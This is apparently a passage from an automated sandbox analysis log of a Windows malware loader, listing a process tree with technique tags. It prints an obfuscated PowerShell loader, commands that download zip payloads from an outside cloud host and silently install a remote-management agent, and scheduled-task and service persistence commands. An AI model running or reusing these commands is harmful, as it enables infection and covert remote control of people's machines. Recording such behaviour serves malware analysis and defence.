[char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0x55)};$wyV3JTm=$jkEZ6Itm;$jkEZ6ItmoldR='''';$i=0;for($j=0;$j-lt$chwoge.Length;$j+=2){$jkEZ6ItmoldR+=[char](([Convert]::ToInt32($chwoge.Substring($j,2),16))-bxor$r1ZSnDSi[$i++%$r1ZSnDSi.Length])};$hwdEnKy=$jkEZ6ItmoldR;$jkEZ6ItmoldB=[Convert]::FromBase64String([regex]::Replace($a8hABT30, ''$jkEZ6Itm'', ''''));$jkEZ6ItmoldR='''';$i=0;for($j=0;$j-lt$jkEZ6ItmoldB.Length;$j++){$jkEZ6ItmoldR+=[char]($jkEZ6ItmoldB[$j]-bxor$wyV3JTm[$i++%$wyV3JTm.Length])};$egsFSJVcQ=$jkEZ6ItmoldR;$obuXd1W=$hwdEnKy+$egsFSJVcQ;.($env:ComSpec[4,26,25]-join'''') $obuXd1W"'"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=17-56;$yIAnYBp='k5XwE8pj';$chwoge='cc95a1a98ee0aeed92f397b89fb2f793a4fc9db38be1faf3cc95a9938ae6f493a4ed84b48cf78aafa8f186908efcbba7a4edafe7d5c1bfa3b4ed9ba996c2a8afb5f091b283b2e7e09ad197a9c1c1bfa3b4ed9ba996c2a8afb5f091b283c6a3b0a4c2c8e7bbfea9f1f392f8f98da4eefde6fbaa939ff0b7a3a6cac1b195f69d96b5d08b9fdef1e8acb4c58b9fbbf7828ef1c5a5ed9ac7b796acfdb58b85f69dacb7fd98ae88f19296a8fdb5b185db9d8eb2c6aa9395db9c82aec6a5e8dff0e8f189c6aa8f83f7e982f0c69fa59fcba382bbfbb59bdff38d8da6ceaa9395c88df1a8fdbab688c69df9a9c5b79b95f1e896b5c69fa5dad99d8af4fbb58b8dca8982afd4aaa9adf1e98eadfda5979cf78982aecfa79b95f1e896b5c69fa5dadeb1a4adfbb78bdbc88d8ef0fbb5b19ac8ea86bbfcc08b9bcbb7b8f4d4b1b6d8db9dacacd4b5ba88db8ef1b4fba5a59cd982b4f8d6ba9783f69296b8fd9b9fadf1928284fdc0ec87f38df4b4cec18b96f1b796b4fbb78f99f08d86b1fd9be8a2f0e886aad4b5be9fdde9f1f8b8ffd7aef6beed95e682b8cfbf8eb9b1fab6b889fbb4a9b5f69db3cfba8194a4e786f3aafcb9afa5f69cbab2a8e09595d9caf3a8f7ae93b5ed9bb388ba8183aef184b89de687fafbd980b282d0bbb3a4a9c68e9be0b3aea6b7d6bfd9a6f3e9e892f8bb9afcb9b4a8f09cfd8bbafeace8e4d6aad2dcbfb7ecd090b78af1aee08ffa86f3b8f7b883adf697b39ba9f287a4ebdf8f8efcbeafacbfd6b1cfbf99afb4f186fdcbfef483aeea9ca9c6eeffbbb5ed8ba69df7aeb5b3f1d2f998bc9eafb6f19eb28ef69ea1b5fedaf9b0bba7a3a0eb91b594efa7bdcc9594a881f1aea9aef1d2b4c7b6bbece5ebdef982befeb0fcdfdaf4c6e9feb9fcc4a2b58efcaeafacd893a98acfe0fa8df093b9aee1a9a5acfd9ea4c7b6bbe9fabba0e0cbebf487a4eba6a49ff7a9e8e8e3cda6cbcdf486b4f39e938effbfe0ecfa83fdcbe6a7fbe5f1cff9bdbc9da5b5d297a987fdbee8e5f2def5b4c0bfa6adfa91a986fdb4ee83f69cb986fcbd86adfe95aeb2b58ab5';$a8hABT30='XAxkQTwjSlFuFW9OeQ4JbEoBeUtzQWxRTRRsTHMIAhYXWylNLQRDFx9EYwxZHnZLXxRkQTkWfn5dFGRUcRlKTWNaN2FiCERLWyljUWQMS1xbSClwORAeG1BORExmAk5aFkRiDjQdDEIzagAoNAYYfxZIKkpkGQIfFUAqUipCCg4HUiMQJVgLDgdVIxMlVQpWUwciEz4HVVgZSSEKNwVRS05aIg0hVBcRDFU4DCFUEBEPVT0NeQBCEA9OZ1J3SgwTFkdlVmQdHxARUj0bPlgREQ9QPgwhXhUQVw1qDSFDT09ZRyQLHWdMWRZIKUUtCQUbVUkgQ34JDRtKXVZ2dRVREXsObk10BEtYY1o3d0QrHRF5BXlxZB9MUVlIKUU5RAhSXxRuSjdRGWxqISoCO00CbWpeMwo+RxoWAlxIbDdNDh8ZJDMcN0ReMjRALQZ3CkMfA0AqVmgZCw5bDGREZB5MWBEFPBMlDkMPX1ZuF3QJFwdcUjoTIFVBBwkFPEcoCEBaC1JpFilfRlsIT3pDYkIRDw1TORAnX0ReC1c1ESdYElsIWGlHdghDC1hUOxIhWwpbVw9/Rj1ZF1BMCWhGYgJGUVETYUd+QkhQXU55THUZS1BdEmhRZQ9QV0oJagxkHkxYEU83UXceQ1RZBmVEYwtWWxlANgI0CkJZHl0tBncKQxFtFW9RZB9MUVlIPQ4wSUJYWE5BR34KUVceTS0TIkQoNRoMLR8wShUYHlsAKDQAXAIZDXRSYgJCTV8NI2p/SgUUHkdgR3UeAgQzai0CME1MHxY7Tk1+G0BNSj03GFYfSlJ8AX5HJll2S0wJY0U4SWheSgNlR2M2FGIXSS0GfRQFGEwVY1FjSgV/FkRqRXZBBRtSTC0FN0EFGGwFamNjAAITHkc9BTBBBRhGWDsFOWAvHx5ALWV1GQhvTA9uR2MeWUxREnkCUz1wHxMEaFFzEVZaUgVuVjBAQ1ZME3kCJRFDSx4ubE91QWZva0BwLxpgLx8eQC0CME0FHx4=';$lWG8zv=0xB95C-0x910E;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0xAA)};$r1ZSnDSi=$jkEZ6Itm;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0x55)};$wyV3JTm=$jkEZ6Itm;$jkEZ6ItmoldR='';$i=0;for($j=0;$j-lt$chwoge.Length;$j+=2){$jkEZ6ItmoldR+=[char](([Convert]::ToInt32($chwoge.Substring($j,2),16))-bxor$r1ZSnDSi[$i++%$r1ZSnDSi.Length])};$hwdEnKy=$jkEZ6ItmoldR;$jkEZ6ItmoldB=[Convert]::FromBase64String([regex]::Replace($a8hABT30, '$jkEZ6Itm', ''));$jkEZ6ItmoldR='';$i=0;for($j=0;$j-lt$jkEZ6ItmoldB.Length;$j++){$jkEZ6ItmoldR+=[char]($jkEZ6ItmoldB[$j]-bxor$wyV3JTm[$i++%$wyV3JTm.Length])};$egsFSJVcQ=$jkEZ6ItmoldR;$obuXd1W=$hwdEnKy+$egsFSJVcQ;.($env:ComSpec[4,26,25]-join'') $obuXd1W5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gcwgtgxf\gcwgtgxf.cmdline"6⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9C8B.tmp" "c:\Users\Admin\AppData\Local\Temp\gcwgtgxf\CSCAB4C1C308EB54875BCB2D65F3A91E9E8.TMP"7⤵
-
-
-
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe goodthingsforbestpersonforme.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Forbes.exeForbes.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_bec865d8acfd0630.exefile_bec865d8acfd0630.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\rmc.exermc.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b74843ad95bef0e9.exefile_b74843ad95bef0e9.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\sx0e5a7b1d.exe"C:\Users\Admin\AppData\Local\Temp\sx0e5a7b1d.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\mKM65Cf6QNqeOVw9.exemKM65Cf6QNqeOVw9.exe3⤵
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" delete "CheckManagerAgent_f549"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" create "CheckManagerAgent_f549" binpath= "C:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" start "CheckManagerAgent_f549"4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\6eq5gvOfRvNmCi54.exe6eq5gvOfRvNmCi54.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\9z7BGnRGpgs8cZv7.exe9z7BGnRGpgs8cZv7.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exegM9anpOuZNKX8zHj.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_e8219df7a9a21088.exefile_e8219df7a9a21088.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_851477f5539ff9f4.exefile_851477f5539ff9f4.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_8a7c2cae7ca4b114.exefile_8a7c2cae7ca4b114.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\app.exeapp.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exefile_73ed34a7752ecb3a.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6PLUD.tmp\file_73ed34a7752ecb3a.tmp"C:\Users\Admin\AppData\Local\Temp\is-6PLUD.tmp\file_73ed34a7752ecb3a.tmp" /SL5="$5021E,11357099,121344,C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-IEG13.tmp\Da_L.exe"C:\Users\Admin\AppData\Local\Temp\is-IEG13.tmp\Da_L.exe"5⤵
-
C:\ProgramData\JAVAkubernetes_v4\Da_L.exeC:\ProgramData\JAVAkubernetes_v4\Da_L.exe6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_77b5757ae75eb20b.exefile_77b5757ae75eb20b.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_3a1cc00092af29d0.exefile_3a1cc00092af29d0.exe3⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\282630700.vbs"5⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\282630700.ps1"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\SysWOW64\wscript.exeC:\Windows\System32\wscript.exe //B "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\983517235.vbs"5⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\983517235.ps1"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_f309f8496f916deb.exefile_f309f8496f916deb.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\svc.exesvc.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_3dfa6b71eb1f52a6.exefile_3dfa6b71eb1f52a6.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exebot_x64.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exexeno.V1.3.55.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exexeno.V1.3.55.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b82f2dba4422534f.exefile_b82f2dba4422534f.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File file_7abbb1cadc4625ad.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i vmware-setup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_ac12f1da1bdab1e0.exefile_ac12f1da1bdab1e0.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\7.exe7.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\8.exe8.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\s.exes.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\a\1.bat4⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_37b904483beaa60e.exefile_37b904483beaa60e.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client.exeClient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\php.exephp.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\hilton.exehilton.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Trails.a3x4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\acr-g1upd-639159296668701809.exeacr-g1upd-639159296668701809.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_a8b257b458693ac9.exefile_a8b257b458693ac9.exe3⤵
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe spx.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys28871\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys28871\tmp879.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip4⤵
- Executes a command shell one-liner
-
C:\Users\Public\Documents\Sys28871\msvcrt.dllC:\Users\Public\Documents\Sys28871\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys28871\tmp879.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_c0d2eb6a8b73120b.exefile_c0d2eb6a8b73120b.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exeIsass.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exeIsass.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "command /c ver"5⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmd /c ver"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exe"cmd /c ver"6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exeCFXBypass.exe3⤵
-
C:\Users\Admin\AppData\Local\819fd0c0-92e3-403f-8076-3289bd790064\background.exe"C:\Users\Admin\AppData\Local\819fd0c0-92e3-403f-8076-3289bd790064\background.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\vnc.exevnc.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\21.exe21.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6G6UMC0V5X.tmp\21.tmp"C:\Users\Admin\AppData\Local\Temp\is-6G6UMC0V5X.tmp\21.tmp" /SL5="$10746,2705959,999424,C:\Users\Admin\AppData\Local\Temp\a\21.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Rsvp_invite%23903388.exeRsvp_invite%23903388.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\setup.exesetup.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ScreenConnect.ClientSetup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exepardufrigi_installer_1.0.p1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\PPTV(pplive)_forap_1084_9993.exePPTV(pplive)_forap_1084_9993.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\rustdesk-1.2.3-2-x86_64.exerustdesk-1.2.3-2-x86_64.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
-
-
-
C:\Windows\system32\a\support.client.exesupport.client.exe3⤵
-
-
C:\Windows\system32\a\1.exe1.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i file_d558ca7d5eabc298.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\2.exe2.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe spsx.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_14774\lib.dll -k -s -L -o "C:\Users\Public\Documents\MSUpdate_14774\temp.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/blaoso/alOffic.zip4⤵
- Executes a command shell one-liner
-
C:\Users\Public\Documents\MSUpdate_14774\lib.dllC:\Users\Public\Documents\MSUpdate_14774\lib.dll -k -s -L -o "C:\Users\Public\Documents\MSUpdate_14774\temp.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/blaoso/alOffic.zip5⤵
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\MSUpdate_14774\setup1.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\MSUpdate_14774\setup1.vbs" /elevated5⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Public\Documents\MSUpdate_14774\UEMSAgent.msi" TRANSFORMS="C:\Users\Public\Documents\MSUpdate_14774\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Public\Documents\MSUpdate_14774\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Public\Documents\MSUpdate_14774\DMRootCA.crt" /qn6⤵
-
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe ljwnsm.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_60892\lib.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_60892\alOffic.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/blaoso/alOffic.zip4⤵
- Executes a command shell one-liner
-
C:\Users\Public\Documents\MSUpdate_60892\lib.dllC:\Users\Public\Documents\MSUpdate_60892\lib.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_60892\alOffic.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/blaoso/alOffic.zip5⤵
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\MSUpdate_60892\setup1.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\MSUpdate_60892\setup1.vbs" /elevated5⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Public\Documents\MSUpdate_60892\UEMSAgent.msi" TRANSFORMS="C:\Users\Public\Documents\MSUpdate_60892\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Public\Documents\MSUpdate_60892\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Public\Documents\MSUpdate_60892\DMRootCA.crt" /qn6⤵
-
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe asir.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_16845\lib.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_16845\lose.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip4⤵
- Executes a command shell one-liner
-
C:\Users\Public\Documents\MSUpdate_16845\lib.dllC:\Users\Public\Documents\MSUpdate_16845\lib.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_16845\lose.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip5⤵
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\MSUpdate_16845\setup1.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\MSUpdate_16845\setup1.vbs" /elevated5⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Public\Documents\MSUpdate_16845\UEMSAgent.msi" TRANSFORMS="C:\Users\Public\Documents\MSUpdate_16845\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Public\Documents\MSUpdate_16845\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Public\Documents\MSUpdate_16845\DMRootCA.crt" /qn6⤵
-
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe lwjw.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys12846\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys12846\tmp766.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/ffice.zip4⤵
- Executes a command shell one-liner
-
C:\Users\Public\Documents\Sys12846\msvcrt.dllC:\Users\Public\Documents\Sys12846\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys12846\tmp766.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/ffice.zip5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys12846\advapi32.dll /transfer t /download /priority normal https://baolongwes.oss-ap-southeast-1.aliyuncs.com/ffice.zip "C:\Users\Public\Documents\Sys12846\tmp766.zip"4⤵
- Executes a command shell one-liner
-
C:\Users\Public\Documents\Sys12846\advapi32.dllC:\Users\Public\Documents\Sys12846\advapi32.dll /transfer t /download /priority normal https://baolongwes.oss-ap-southeast-1.aliyuncs.com/ffice.zip "C:\Users\Public\Documents\Sys12846\tmp766.zip"5⤵
-
-
-
-
C:\Windows\system32\a\Document.exeDocument.exe3⤵
-
-
C:\Windows\system32\a\8323ff95090049d3826616b94eed7cd8.exe8323ff95090049d3826616b94eed7cd8.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window --headless4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --headless4⤵
-
-
-
C:\Windows\system32\a\e89f8067ad444d60b2ca4bba298d964a.exee89f8067ad444d60b2ca4bba298d964a.exe3⤵
-
-
C:\Windows\system32\a\2.7.exe2.7.exe3⤵
-
-
C:\Windows\system32\a\client.execlient.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /F /TN "DiskDiagnostic_Logon_Init" /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" /SC ONLOGON /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /F /TN "DiskDiagnostic_Health_Audit" /TR "'C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe' --disk-diag-svc" /SC MINUTE /MO 5 /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe"4⤵
-
-
-
C:\Windows\system32\a\103.exe103.exe3⤵
-
-
C:\Windows\system32\a\Signature%20Nib.exeSignature%20Nib.exe3⤵
-
-
C:\Windows\system32\a\d0d605c01f71464ea16b25c92892dbe0.exed0d605c01f71464ea16b25c92892dbe0.exe3⤵
-
-
C:\Windows\system32\a\file_e52c89b6e6519b51.exefile_e52c89b6e6519b51.exe3⤵
-
C:\Windows\system32\a\file_e52c89b6e6519b51.exefile_e52c89b6e6519b51.exe4⤵
-
-
-
C:\Windows\system32\a\26bd033dff764587836ef1b2e13d79eb.exe26bd033dff764587836ef1b2e13d79eb.exe3⤵
-
-
C:\Windows\system32\a\036d684a34404874843f08d695e15695.exe036d684a34404874843f08d695e15695.exe3⤵
-
-
C:\Windows\system32\a\c9df9ff3c2174c4da9300946886142a1.exec9df9ff3c2174c4da9300946886142a1.exe3⤵
-
-
